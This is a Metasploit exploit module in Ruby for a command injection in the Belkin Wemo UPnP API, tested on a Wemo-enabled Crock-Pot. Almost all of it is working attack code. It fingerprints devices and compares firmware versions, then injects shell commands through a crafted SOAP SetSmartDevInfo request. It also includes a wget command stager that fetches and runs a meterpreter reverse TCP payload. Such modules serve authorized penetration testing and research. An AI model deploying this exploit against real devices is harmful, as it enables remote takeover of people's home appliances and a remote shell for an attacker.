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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'               => 'Belkin Wemo UPnP Remote Code Execution',
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      'Description'        => %q{
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        This module exploits a command injection in the Belkin Wemo UPnP API via
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        the SmartDevURL argument to the SetSmartDevInfo action.
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        This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo
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        devices are known to be affected, albeit on a different RPORT (49153).
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      },
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      'Author'             => [
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        'phikshun', # Discovery, UFuzz, and modules
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        'wvu',      # Crock-Pot testing and module
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        'nstarke'   # Version-checking research and implementation
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      ],
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      'References'         => [
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        ['URL', 'https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/'],
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        ['URL', 'https://github.com/phikshun/ufuzz'],
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        ['URL', 'https://gist.github.com/phikshun/10900566'],
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        ['URL', 'https://gist.github.com/phikshun/9984624'],
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        ['URL', 'https://www.crock-pot.com/wemo-landing-page.html'],
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        ['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'],
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        ['URL', 'http://www.wemo.com/']
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      ],
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      'DisclosureDate'     => '2014-04-04',
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      'License'            => MSF_LICENSE,
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      'Platform'           => ['unix', 'linux'],
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      'Arch'               => [ARCH_CMD, ARCH_MIPSLE],
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      'Privileged'         => true,
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      'Targets'            => [
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        ['Unix In-Memory',
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          'Platform'       => 'unix',
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          'Arch'           => ARCH_CMD,
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          'Type'           => :unix_memory,
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          'DefaultOptions' => {
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            'PAYLOAD'      => 'cmd/unix/generic'
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          }
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        ],
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        ['Linux Dropper',
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          'Platform'       => 'linux',
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          'Arch'           => ARCH_MIPSLE,
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          'Type'           => :linux_dropper,
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          'DefaultOptions' => {
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            'PAYLOAD'      => 'linux/mipsle/meterpreter_reverse_tcp'
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          }
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        ]
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      ],
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      'DefaultTarget'      => 1,
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      'Notes'              => {
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        'NOCVE'            => ['Patched in 2.00.8643 without vendor disclosure'],
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        'Stability'        => [CRASH_SAFE],
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        'SideEffects'      => [ARTIFACTS_ON_DISK],
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        'Reliability'      => [REPEATABLE_SESSION]
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      }
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    ))
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    register_options([
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      Opt::RPORT(49152)
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    ])
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    register_advanced_options([
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      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
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    ])
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  end
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  def check
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    checkcode = CheckCode::Unknown
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    res = send_request_cgi(
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      'method' => 'GET',
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      'uri'    => '/setup.xml'
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    )
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    unless res && res.code == 200 && res.body.include?('urn:Belkin:device:')
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      vprint_error('Wemo-enabled device not detected')
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      return checkcode
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    end
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    vprint_good('Wemo-enabled device detected')
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    checkcode = CheckCode::Detected
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    version = (v = res.get_xml_document.at('firmwareVersion')&.text) &&
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              v =~ /WeMo_WW_(\d+(?:\.\d+)+)/ && $1 && Rex::Version.new($1)
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    unless version
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      vprint_error('Could not determine firmware version')
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      return checkcode
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    end
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    vprint_status("Found firmware version: #{version}")
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    # https://www.tripwire.com/state-of-security/featured/my-sector-story-root-shell-on-the-belkin-wemo-switch/
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    if version < Rex::Version.new('2.00.8643')
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      vprint_good("Firmware version #{version} < 2.00.8643")
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      checkcode = CheckCode::Appears
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    else
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      vprint_error("Firmware version #{version} >= 2.00.8643")
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      checkcode = CheckCode::Safe
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    end
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    checkcode
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  end
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  def exploit
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    case target['Type']
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    when :unix_memory
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      execute_command(payload.encoded)
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    when :linux_dropper
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      cmdstager = generate_cmdstager(
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        flavor:   :wget,
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        temp:     datastore['WritableDir'],
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        file:     File.basename(cmdstager_path),
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        noconcat: true
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      )
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      # HACK: "chmod +x"
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      cmdstager.unshift("cp /bin/sh #{cmdstager_path}")
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      cmdstager.delete_if { |cmd| cmd.start_with?('chmod +x') }
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      cmdstager = cmdstager.join(';')
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      vprint_status("Regenerated command stager: #{cmdstager}")
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      execute_command(cmdstager)
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    end
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  end
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  def execute_command(cmd, opts = {})
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    send_request_cgi(
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      'method'       => 'POST',
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      'uri'          => '/upnp/control/basicevent1',
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      'ctype'        => 'text/xml',
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      'headers'      => {
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        'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"'
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      },
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      'data'         => generate_soap_xml(cmd)
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    )
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  end
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  def generate_soap_xml(cmd)
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    <<~EOF
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      <?xml version="1.0" encoding="utf-8"?>
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      <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
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        <s:Body>
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          <u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
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            <SmartDevURL>$(#{cmd.encode(xml: :text)})</SmartDevURL>
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          </u:SetSmartDevInfo>
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        </s:Body>
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      </s:Envelope>
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    EOF
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  end
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  def cmdstager_path
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    @cmdstager_path ||=
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      "#{datastore['WritableDir']}/#{rand_text_alphanumeric(8..42)}"
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  end
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end
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